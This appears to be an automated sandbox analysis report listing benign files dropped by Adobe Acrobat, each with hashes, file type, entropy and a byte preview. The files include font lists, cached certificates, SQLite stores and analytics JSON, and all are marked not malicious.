Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 3, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.2934340731199896
Encrypted:	false
SSDEEP:	192:/edRBzVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:/e5ci5H5FY+EUUUTTcHqFzqFP
MD5:	09FC97C18E2CBDD594CA76892FFE8240
SHA1:	28CDD8E4F1E2CA8DE87CFD2B14859F65A6ABF8CD
SHA-256:	5869AD4EDBD027F520A1239833DF8A80AD5A2D59FF0CE4D7781AE60FCA2C3B30
SHA-512:	F6C2EFDF288555F251BD3A7FBD194C7B030D3DAF318D5A4403A2EFA44853B07D55A76F0F0DB6B530525368D21FECEC211566B93084A98270CF08BD3DBF0D7A4B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2030346418412345
Encrypted:	false
SSDEEP:	24:7+tiMEWewKeqLazkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf98:7MrUeqemFTIF3XmHjBoGGR+jMz+Lhi
MD5:	9D39B89138A4F831E06899F243E712C7
SHA1:	90BA7D456DC1B198BD586ED0A1E193540DACB278
SHA-256:	859D22503AD970C54BD03FCFC5A1BC2DC3E5415435E534F503242A4E4D15913E
SHA-512:	BEC0582B723D846476C88DC9A69B5831B2E3C6D96887370162DCB73C38B19DF526610B7F899EEB38C326E74C990BDDBA9BB12887FA856ED67DC74B5F559D50CA
Malicious:	false
Preview:	.... .c.......F.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklkYQpkNllltfllXlE/HT8k3zvNNX8RolJuRdxLlGB9lQRYwpDdt:kK9cl/eT8YpNMa8RdWBwRd
MD5:	9BF0CE4042DD4B143D4ED8D08DE6E998
SHA1:	B095297D1D0EB2B9AA032A620FD8FF997364D7EA
SHA-256:	811C605781D88CD639E4148A01CCBFCC1E6C4C6EE4E2CF85A1BDDBD06AEA6B41
SHA-512:	588BF24FA5BBF9D0AA982EE7784659CA016B2CB5E042C4D3F48F542192FFBAFD0408551017D8B725563C7C65616220E8A28E0A5475211D7013D1091087B3BB44
Malicious:	false
Preview:	p...... .........} ..c..(....................................................... ..........W.....E..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kK9Ipl/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:Gpl/iDnLNkPlE99SNxAhUe/3
MD5:	018A5D3D2E1374979C90059687CBCE21
SHA1:	B0D836FCCD5D5A22FF3141B390102EC61ECF68FC
SHA-256:	214BECF43C3AFDFC3218A160F8DB43CCD1F83CFC2006DF719C5AF66643909E02
SHA-512:	297E85346D85ACCC144650F0BE16C9FB316B2C3749187549B84E0AC12B7CF433237A0A66BB0C90423CDE39F76C4E5D1BDF740C086A7689C7647105F53D0E49F1
Malicious:	false
Preview:	p...... ........7.}..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3640711048062695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJM3g98kUwPeUkwRe9:YvXKXFyMdYpW7QcGMbLUkee9
MD5:	FA09DADAFA30CEE56C7C95659C917741
SHA1:	81207B65D9C56BA91C0C37152492DE31BEF88F8D
SHA-256:	4CEF53E830B04CD17FE3882EC5590BC0EE6FE70C99FA3BC8668C532123A0A8FC
SHA-512:	D9ACCC4969CABDB2CE3577101DF40CB3CABCBF306CC9CD596AFEEDC7A89C6724457ED8BFFA0C358C04DC7961F734246ADA92E93C7B33420273CCEE18652072B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301794605063476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfBoTfXpnrPeUkwRe9:YvXKXFyMdYpW7QcGWTfXcUkee9
MD5:	D1FFAE212DC8B9E26A89D5AAE2291E88
SHA1:	12B991341FE29D215B148C13CE131FF15924CD78
SHA-256:	F43EF12F48EF939D410BFED1FB11248CB6A96402537B06F03EE6D965AC7BB4FE
SHA-512:	5B933BC4EEC31E56DC88397A7734CC5EC9D03B721EF5AF75EB3B10D6F0AA34826616CC20C4F3FA9EB48E8E5022DDC63B0DD279ED07494BAD8A6EE0C3B257B636
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279644698640546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfBD2G6UpnrPeUkwRe9:YvXKXFyMdYpW7QcGR22cUkee9
MD5:	F707B874EA0C73BD61FFA6E9BBCFB63A
SHA1:	4D1ED499641BC322B168A219974ED5205046781F
SHA-256:	FE1EE3113650A6C8F0493DD77D31AD5E2671A015D261129332BCBDA255285287
SHA-512:	B6D80710844754291734945D9A38751CA74516FBF912D1B57D9DDC1CDFDA36EF36CEBFB37345C222B94F84FE5B23D84E6BD1D6D397D2EBA90BABD2728DFE790E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.342988814687892
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfPmwrPeUkwRe9:YvXKXFyMdYpW7QcGH56Ukee9
MD5:	EBDE716001D8252F55FA8DB3579D2BC4
SHA1:	CA9ABC2D9E68FD06F6FA23D9E4CB13EF5F2DA961
SHA-256:	CB63ED4274D29CFAC3201254764D63ADAB819A06CDC2B755ABCC263EFAF4B168
SHA-512:	924D6FE24336FEDE2B32D8456AC2CAFE87F141ED590D8F82A19B2E24513752C10FA979BFADD39E3ED51A1CBAA67D89E71376FE4A6D0C9E072DBC6DB3F268D48E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691279470241381
Encrypted:	false
SSDEEP:	24:Yv6XN2iKpLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:Yv2BKhgy6SAFv5Ah8cv/V
MD5:	A77481290F8FA07D7CF06F650D068A9F
SHA1:	A0EAABF1C0B21CC7039C4B0D5C2F0A1A81D674F7
SHA-256:	0368F7D1D61AE99B1565F0EFB515727F08F5C579BF9CB81D64A93FC83A82AD57
SHA-512:	6CC11D930A3F091955F10C6A583F232527B26C79CE41273A4A9CDAAD43A4C70F3F78B661C06A42C9B468927C6D5253028C3B80ED0C930436E226F75CCFF7652C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287513323044126
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJf8dPeUkwRe9:YvXKXFyMdYpW7QcGU8Ukee9
MD5:	9BAE9FE2BBB6B8F155C53AE3AE8965A8
SHA1:	D7570C29055AD2335D497E02D1C78CA120C1E587
SHA-256:	12D5CC18131DE4C925FB2893C30D4100BDC142C987601AE1FFFABF89870A9B9D
SHA-512:	81D8455955AF527A87F92F46AEEEC87A898A6964498F5D0E0B7F751B076DBDF303571407C9AA0A73DBE52FF85BB92878D6B32BB75C9B2CEB02B46A44863CE7A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.288905809634368
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfQ1rPeUkwRe9:YvXKXFyMdYpW7QcGY16Ukee9
MD5:	D00E61EC4518D6EFB32D9DED6D6CDE5E
SHA1:	293BF3FAF1785A533E5B899CD8B69A146493CFA8
SHA-256:	B27C80AA3D6F245FD959878689269D2CFBACD00AFB4DBBB210A1B57C4A55C5EF
SHA-512:	0389DC43B5BD0394DCC9D6C2AB49B280CB0ACD70AF32DD21BF9A7BE66DF18A93C2C5591C1EC574B781746C6FDAAA3D69BF57A3BF125D77B1DEB3983725ABB8AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

